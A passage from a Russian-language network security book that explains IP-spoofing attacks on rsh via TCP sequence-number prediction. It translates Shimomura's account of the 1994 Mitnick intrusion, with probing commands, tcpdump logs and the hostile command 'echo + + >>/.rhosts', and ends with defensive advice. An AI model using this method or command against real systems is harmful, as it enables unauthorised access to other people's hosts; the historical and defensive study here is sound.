хосту. При этом (что чрезвычайно важно в данном случае!) для того, чтобы отдать команду, достаточно послать запрос, но необязательно получать на него ответ. При атаке на r-службу вся сложность для атакующего заключается в том, что ему необходимо послать пакет от имени доверенного хоста, то есть в качестве адреса отправителя необходимо указать IP-адрес доверенного хоста. Следовательно, ответный пакет будет отправлен именно на доверенный хост, а не на хост атакующего.
Схема удаленной атаки на rsh-сервер была впервые описана небезызвестным Р.Т. Моррисом-старшим в [27]. Она заключается в следующем (схема атаки изображена на рис 4.10).
Рис. 4.10. Подмена одного из участников TCP-соединения при атаке на rsh-сервер.
Рис. 4.10.1. X-Hacker посылает на Хост A серию TCP-запросов на создание соединения, заполняя тем самым очередь запросов, с целью вывести из строя на некоторое время Хост A.
Рис. 4.10.2. X-Hacker от имени Хоста A посылает запрос на создание TCP-соединения на Хост B.
Рис. 4.10.3. Хост B отвечает хосту A на предыдущий запрос.
Рис. 4.10.4. Хост X-Hacker никогда не получит значения ISNb' от хоста B, но, используя математическое предсказание ISN, посылает на B от имени A пакет с ISNb'. При этом Хост A не может послать пакет с битом RST.
Пусть хост А доверяет хосту В. Хост X-Hacker- это станция атакующего.
Вначале атакующий X-Hacker открывает настоящее TCP-соединение с хостом В на любой TCP-порт (mail, echo и т.д.). В результате X-Hackerполучит текущее значение на данный момент времени ISNb. Далее, X-Hacker от имени А посылает на В TCP-запрос на открытие соединения:
1. X-Hacker("A" ) - > B: SYN, ISSx.
Получив этот запрос, В анализирует IP-адрес отправителя и решает, что пакет пришел с хоста А. Следовательно, В в ответ посылает на А новое значение ISNb':
2. B - > A: SYN, ACK, ISNb', ACK(ISSx+1).
X-Hacker никогда не получит это сообщение от В, но, используя предыдущее значение ISNb и схему для получения ISNb' при помощи математического предсказания из п. 4.5.1, может послать пакет на В: 3. X-Hacker("A" ) - > B: ACK, ISSx+1, ACK(ISNb'+1).
Отметим, что для того, чтобы послать этот пакет, вероятно, потребуется перебрать некоторое количество возможных значений ACK(ISSb' + 1), но не потребуется подбор ISSx + 1, так как этот параметр TCP-соединения был послан с хоста X-Hacker на В в первом пакете.
В случае осуществления данной атаки перед атакующим возникает следующая проблема. Так как X-Hacker посылает пакет (1) на В от имени A, то хост B ответит на A пакетом (2). А так как хост A не посылал на хост B никакого пакета с запросом, то A, получив ответ от B, перешлет на B пакет с битом RST - закрыть соединение. Атакующего с хоста X-Hacker это, естественно, не устраивает, поэтому одной из атак, целью которых является нарушение работоспособности системы, X-Hacker должен вывести из строя на некоторое время хост A (п. 4.6).
В итоге rsh-сервер на хосте В считает, что к нему подключился пользователь с доверенного хоста А, а на самом деле это атакующий с хоста X-Hacker. И хотя X-Hacker никогда не сможет получить пакеты с хоста В, но он сможет выполнять на нем команды (r-команды).
В заключение авторам хотелось бы привести пример реального инцидента, происшедшего в Суперкомпьютерном центре в Сан-Диего 12 декабря 1994 года, когда атакующий (небезызвестный Кевин Митник) использовал описанную выше схему удаленной атаки. Данный инцидент представляет, как нам кажется, исторический интерес и показывает, что опасности, описанные в этой книге, являются отнюдь не мнимыми угрозами из Internet, а той реальностью, над которой большинство пользователей просто не задумывается и которая в любой момент может пожаловать к ним в гости.
Все описанные ниже сведения взяты из письма эксперта по информационной безопасности Цутому Шимомуры (Tsutomu Shimomura) в различные эхо-конференции.
Далее приводится перевод его оригинального письма с некоторыми сокращениями и нашими комментариями:
"From: tsutomu@ariel.sdsc.edu (Tsutomu Shimomura) Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt. security Subject: Technical details of the attack described by Markoff in NYT Date: 25 Jan 1995 04:36:37 -0800 Organization: San Diego Supercomputer Center Message-ID: <3g5gkl$5j1@ariel.sdsc.edu> NNTP-Posting-Host: ariel.sdsc.edu Keywords: IP spoofing, security, session hijacking Greetings from Lake Tahoe.
В статье Джона Маркоффа от 23.01.95 в NYT и в рекомендациях CERT CA-95:01, кажется, было достаточно много путаницы насчет того, что такое на самом деле атака с использованием подмены IP-адреса с целью подмены одного из абонентов соединения.
Имеется в виду статья в New York Times под названием "Data Network Is Found Open To New Threat". Следующая статья была опубликована 28 января 1995 года под названием "Taking a Computer Crime to Heart". Заключительная статья "A Most-Wanted Cyberthief Is Caught In His Own Web" опубликована 16 февраля того же года. Time Magazine напечатал две статьи под следующими громкими заголовками: "KEVIN MITNICK'S DIGITAL OBSESSION" и "CRACKS IN THE NET: America's most wanted hacker has been arrested, but the Internet is more vulnerable than ever" (Да неужели?! Куда уж более?!).
Шумиха, поднятая американской прессой по этому незначительному поводу, была столь велика, что нам остается только удивляться, насколько еще верна крылатая фраза Шекспира: "Много шума из ничего". Хотя, с другой стороны, это можно объяснить тем, что, во-первых, в США благодаря стараниям прессы сложился легендарный образ злобного супер-хакера, этакого "монстра" киберпространства - Кевина Митника, во-вторых, это был один из редких случаев обнародования информации о случившейся удаленной атаке, в-третьих, ее осуществление удалось проследить и запротоколировать, что обычно очень не просто, и, в-четвертых, с нашей точки зрения, это, пожалуй, единственная известная, при этом довольно красивая, удаленная атака на TCP-соединение, и поэтому ей так и увлеклась пресса (истории о "тупых" атаках с перехватом пароля или попытками его подбора уже, видимо, навязли на зубах у читателя).
Здесь приведены некоторые технические подробности из моей презентации 11.01.95 в CMAD 3 в Сономе, Калифорния. Надеюсь, это поможет снять всяческое непонимание природы этих атак.
Для атаки использовалось два различных механизма. Подмена IP-адреса отправителя и математическое предсказание начального значения идентификатора TCP-соединения позволили получить доступ к бездисковой рабочей станции, которая использовалась как X-терминал.
В письмо включен log-файл, полученный с помощью программы tcpdump, с записью всех пакетов, посланных атакующим. Для краткости этот файл приводится с сокращением некоторых несущественных подробностей.
Моя конфигурация:
server = SPARC с ОС Solaris 1, обслуживающий х-terminal
х-terminal = бездисковая рабочая станция SPARC с ОС Solaris 1
target = основная цель атаки.
Атака началась в 14:09:32 25.12.94. Первые попытки зондирования начались с хоста toad.com (информация взята из log-файла). 14:09:32 toad.com# finger -l @target 14:10:21 toad.com# finger -l @server 14:10:50 toad.com# finger -l root@server 14:11:07 toad.com# finger -l @x-terminal 14:11:38 toad.com# showmount -e x-terminal 14:11:49 toad.com# rpcinfo -p x-terminal 14:12:05 toad.com# finger -l root@x-terminal
Зондирование системы позволило определить, есть ли у нее другие доверенные системы для дальнейшей атаки. То, что атакующий смог запустить программы showmount и rpcinfo, означало, что он является пользователем root на хосте toad.com.
Через шесть минут мы видим шторм TCP-запросов на создание соединения с адреса 130.92.6.97 на 513 порт (login) хоста server. При этом основная цель атакующего состоит в том, чтобы этими однонаправленными TCP-запросами переполнить очередь на 513 порту сервера так, чтобы он не смог отвечать на новые запросы на создание соединения. Особенно важно, чтобы сервер не смог сгенерировать TCP-пакет с битом RST в ответ на неожиданно пришедший TCP-пакет с битами SYN и ACK.
Так как порт 513 является привилегированным портом, то теперь IP-адрес хоста server.login может быть свободно использован атакующим для атаки с использованием подмены адреса на r-службы UNIX-систем (rsh, rlogin). IP-адрес 130.92.6.97 атакующий выбрал случайным образом из неиспользуемых адресов (ему не нужно получать пакеты, передаваемые на этот адрес).
Шимомура здесь и далее после имени или IP-адреса хоста через точку указывает порт назначения. Поэтому запись server.login означает хост server и порт login (513). Соответственно, например, первая из распечатки log-файла запись 130.92.6.97.600 означает, что пакет передается с IP-адреса 130.92.6.97 с 600 порта.
14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096 14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096 14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096 14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096 14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096 14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096 14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096 14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096 14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096 14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096 14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096 14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096 14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096 14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096 14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096 14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096 14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096 14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096 14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096 14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096 14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096 14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096 14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096 14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096
Хост server генерирует на первые 8 запросов соответственно 8 ответов, после чего очередь переполняется. Хост server периодически будет посылать эти ответы, но так и не дождется на них никакой реакции.
Кстати, наши эксперименты, описанные в п. 4.6, это подтвердили.
Далее мы видим 20 попыток создания соединения с хоста apollo.it.luc.edu на x-terminal.shell. Основная цель этих запросов - определить закон изменения начального значения идентификатора TCP-соединения на хосте x-terminal. Так как значение ISN увеличивается на единицу с каждым вновь посылаемым запросом, то, следовательно, эти запросы генерирует не ядро сетевой ОС. При этом очередь запросов на хосте x-terminal не переполняется, так как атакующий после каждого запроса передает пакет с битом RST, что означает "закрыть соединение" . 14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096 14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096 14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0 14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096 14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096 14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0 14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096 14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096 14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0 14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096 14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096 14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0 14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0
Видно, что каждый последующий ответный пакет SYN-ACK, посылаемый с хоста x-terminal, имеет начальное значение идентификатора TCP-соединения на 128000 больше, чем у предыдущего.
Из анализа приведенной распечатки пакетов видно, что каждое последующее начальное значение ISN на хосте x-terminal.shell отличается от предыдущего на 128000. Например, 2024256000 - 2024128000 = 128000 или 2024128000 - 2024000000 = 128000. Не правда ли, простейший закон генерации ISN?!
Далее мы видим поддельный запрос на создание TCP-соединения якобы с хоста server.login на x-terminal.shell. При этом x-terminal доверяет хосту server и, следовательно, x-terminal будет выполнять все запросы, переданные с этого хоста (или с любого другого, подменившего хост server).
X-terminal затем отвечает на хост server пакетом SYN-ACK и ожидает подтверждения этого пакета ACK'ом, что должно означать открытие соединения. Так как хост server игнорирует все пакеты, посланные на server.login, то поддельный пакет атакующего, подтвержденный ACK'ом, должен иметь успех.
Обычно значение подтверждения (ACK) берется из пакета SYN-ACK. Однако атакующий, используя предсказание закона изменения начального значения идентификатора TCP-соединения на хосте x-terminal, сможет получить значение ACK без получения пакета SYN-ACK:
Используя полученную математическую зависимость для предсказания значения ISN, атакующий может послать следующий пакет от имени server.login со значением ACK, равным 2024384001, вычисленным по его предыдущему значению 2024256000 добавлением к нему 128000 + 1.
14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096
Хост атакующего сейчас имеет одностороннее соединение с x-terminal.shell, который считает, что это соединение открыто с server.login. Атакующий теперь может передавать пакеты с данными, содержащими верные значения ACK, на x-terminal. Далее, он посылает следующие пакеты: 14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096 что означает выполнение следующей команды: 14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"
Атакующий, завершая атаку, от имени server.login посылает на x-terminal. shell три пакета, что эквивалентно выполнению на хосте server следующей r-команды: rsh x-terminal "echo + + >>/.rhosts". Эта команда дописывает в файл /.rhosts строчку + + и делает доверенными все станции.
Всего атака заняла менее 16 секунд.
Атакующий закрывает ложное соединение: 14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096 14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096 14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096 14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096 14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096
Далее, атакующий посылает RST-пакеты и, следовательно, закрывает ранее открытые "односторонние" соединения с server.login, тем самым освобождая очередь запросов: 14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096 14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096 14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096 14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096 14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096 14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096 14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096 14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096 14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096 14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096 14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096 14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096 14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096 14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096 14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096 14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096 14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096 14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096 14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096 14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096 14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096 14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096 14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096 14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096 14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096 14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096 14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096 14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096 14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096 14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096
Хост server.login снова готов к приему запросов на создание соединения" .
Мы намеренно не стали вдаваться в подробное литературное описание этого инцидента (беллетристики о Митнике более чем достаточно), а остановились только на технических подробностях этой удаленной атаки. В заключение приведем слова Шимомуры, сказанные им в интервью после поимки Митника: "Из того, что я видел, мне он не кажется таким уж большим специалистом." И добавил: "Проблема не в Кевине, проблема в том, что большинство систем действительно плохо защищены. То, что делал Митник, остается осуществимым и сейчас" .
Кстати, по поводу того, был ли на самом деле Кевин Митник кракером высшего класса, ходит много споров. То, что он начинал как фрикер (phreaker) высшего класса, очевидно всем. Далее его кракерскую деятельность до первого похода в тюрьму трудно назвать профессиональной, так как он не отличился ничем, кроме профессионального лазанья по помойкам в поисках клочка выброшенной бумаги с паролями пользователей и заговариванием зубов сетевым администраторам по телефону в попытках выудить у них пароли - тут он был действительно профессионалом (этому виду "атак" теперь даже дан термин: "социальная инженерия"). Однако, сидя в тюрьме, он, видимо, наконец поднабрался необходимого опыта в искусстве сетевого взлома и теперь уже вполне мог подходить под тот образ "супер-хакера", созданный американской прессой. Хотя любому специалисту очевидно, что в данном случае в связи с простейшим законом генерации ISN в ОС Solaris 1, осуществленная Кевином удаленная атака является тривиальной и, по сути, Шимомура на нее сам напросился. Наверное, если Шимомура был бы действительно таким профессиональным специалистом по информационной безопасности, каким его описывает пресса, то он, очевидно, знал о возможности осуществления подобной атаки, но он ничего не предпринимал (интересно, почему - может он именно того и хотел, чтобы его взломали? До этого случая Шимомуру никто и не знал, зато теперь он один из самых известных экспертов по безопасности). Точного ответа на эти вопросы мы, видимо, не узнаем.
Как защититься от анализа сетевого трафика?
В п. 4.1 рассматривалась атака, позволяющая кракеру при помощи программного прослушивания канала передачи сообщений в сети перехватывать любую информацию, которой обмениваются удаленные пользователи, если по каналу передаются только нешифрованные сообщения. Также в этом пункте было показано, что базовые прикладные протоколы удаленного доступа TELNET и FTP не предусматривают элементарную криптозащиту передаваемых по сети даже идентификаторов (имен) и аутентификаторов (паролей) пользователей. Поэтому администраторам сетей, очевидно, можно порекомендовать не допускать использование этих базовых протоколов для предоставления удаленного авторизованного доступа к ресурсам своих систем и считать анализ сетевого трафика той постоянно присутствующей угрозой, которую невозможно устранить, но можно сделать ее осуществление по сути бессмысленным, применяя стойкие криптоалгоритмы защиты IP-потока (п. 7.2.2.1).
Как защититься от ложного ARP-сервера?
Коротко напомним, что в п. 4.2 рассматривалась удаленная атака, использующая недостатки в механизме удаленного поиска на базе протокола ARP. В том случае, если у сетевой ОС отсутствует информация о соответствии IP- и Ethernet-адресов хостов внутри одного сегмента IP-сети, данный протокол позволяет посылать широковещательный ARP-запрос на поиск необходимого Ethernet-адреса, на который атакующий может прислать ложный ответ, и, в дальнейшем, весь трафик на канальном уровне окажется перехваченным атакующим и пройдет через ложный ARP-сервер. Очевидно, что для ликвидации данной атаки необходимо устранить причину, по которой возможно ее осуществление. Основная причина успеха данной удаленной атаки - отсутствие необходимой информации у ОС каждого хоста о соответствующих IP- и Ethernet-адресах всех остальных хостов внутри данного сегмента сети. Таким образом, самым простым решением будет создание сетевым администратором статической ARP-таблицы в виде файла (в ОС UNIX обычно /etc/ethers), куда необходимо внести соответствую-щую информацию об адресах. Данный файл устанавливается на каждый хост внутри сегмента, и, следовательно, у сетевой ОС отпадает необходимость в использовании удаленного ARP-поиска. Правда, отметим, что ОС Windows '95 это не помогает (4.2).
Как защититься от ложного DNS-сервера?
В 4 главе было наглядно показано, что использование в сети Internet службы DNS в ее нынешнем виде может позволить кракеру получить глобальный контроль над соединениями путем навязывания ложного маршрута через хост кракера - ложный DNS-сервер. Осуществление этой удаленной атаки, основанной на потенциальных уязвимостях службы DNS, может привести к катастрофическим последствиям для огромного числа пользователей Internet и стать причиной массового нарушения информационной безопасности данной глобальной сети (п. 4.3). В следующих двух пунктах предлагаются возможные административные методы по предотвращению или затруднению данной удаленной атаки для администраторов и пользователей сети и для администраторов DNS-серверов.
Как защититься от навязывания ложного маршрута при использовании протокола ICMP?
Как вы помните, в п. 4.4 рассматривалась удаленная атака, которая заключалась в передаче на хост ложного ICMP Redirect сообщения о смене исходного маршрута. Эта атака приводила как к перехвату атакующим информации, так и к нарушению работоспособности атакуемого хоста. Для того, чтобы защититься от данной удаленной атаки, необходимо либо фильтровать данное сообщение (используя Firewall или фильтрующий маршрутизатор), не допуская его попадания на конечную систему, либо соответствующим образом выбирать сетевую ОС, которая будет игнорировать это сообщение. Однако обычно не существует административных способов повлиять на сетевую ОС так, чтобы запретить ей изменять маршрут и реагировать на данное сообщение. Единственный способ, например, в случае ОС Linux или FreeBSD заключается в том, чтобы изменить исходные тексты и перекомпилировать ядро ОС. Очевидно, что такой экзотический для многих способ возможен только для свободно распространяемых вместе с исходными текстами операционных систем. Обычно на практике не существует иного способа узнать реакцию используемой у вас ОС на ICMP Redirect сообщение, как послать данное сообщение и посмотреть, каков будет результат. Эксперименты показали, что данное сообщение позволяет изменить маршрутизацию на ОС Linux 1.2.8, Windows '95 и Windows NT 4.0. Следует отметить, что (как это видно из 4 главы) продукты компании Microsoft не отличаются особой защищенностью от возможных удаленных атак, присущих IP-сетям. Следовательно, использовать данные ОС в защищенном сегменте IP-сети представляется нежелательным. Это и будет тем самым административным решением по защите сегмента сети от данной удаленной атаки.
Как защититься от отказа в обслуживании?
Как не раз уже отмечалось, нет и не может быть приемлемых способов защиты от отказа в обслуживании в существующем стандарте IPv4 сети Internet (глава 5)! Это связано с тем, что в данном стандарте невозможен контроль за маршрутом сообщений. Поэтому невозможно обеспечить надежный контроль за сетевыми соединениями, так как у одного субъекта сетевого взаимодействия существует возможность занять неограниченное число каналов связи с удаленным объектом и при этом остаться анонимным (5.1.3). Из-за этого любой сервер в сети Internet может быть полностью парализован при помощи удаленной атаки, рассмотренной в п. 4.6.
Единственное, что можно предложить для повышения надежности работы системы, подвергаемой данной атаке, - это использовать как можно более мощные компьютеры. Чем больше число и частота работы процессоров, чем больше объем оперативной памяти, тем более надежной будет работа сетевой ОС, когда на нее обрушится направленный "шторм" ложных запросов на создание соединения. Кроме того, необходимо использование соответствующих вашим вычислительным мощностям операционных систем с внутренней очередью, способной вместить большое число запросов на подключение. Ведь от того, что вы, например, поставите на суперЭВМ операционную систему Linux или Windows NT, у которых длина очереди для одновременно обрабатываемых запросов около 10, а тайм-аут очистки очереди несколько минут, то, несмотря на все вычислительные мощности компьютера, ОС будет полностью парализована атакующим.
Общий вывод по противодействию данной атаки в существующем стандарте IPv4 следующий: просто расслабьтесь и надейтесь на то, что вы ни для кого не представляете интереса, или покупайте суперЭВМ с соответствующей ей сетевой ОС.
Как защититься от подмены одной
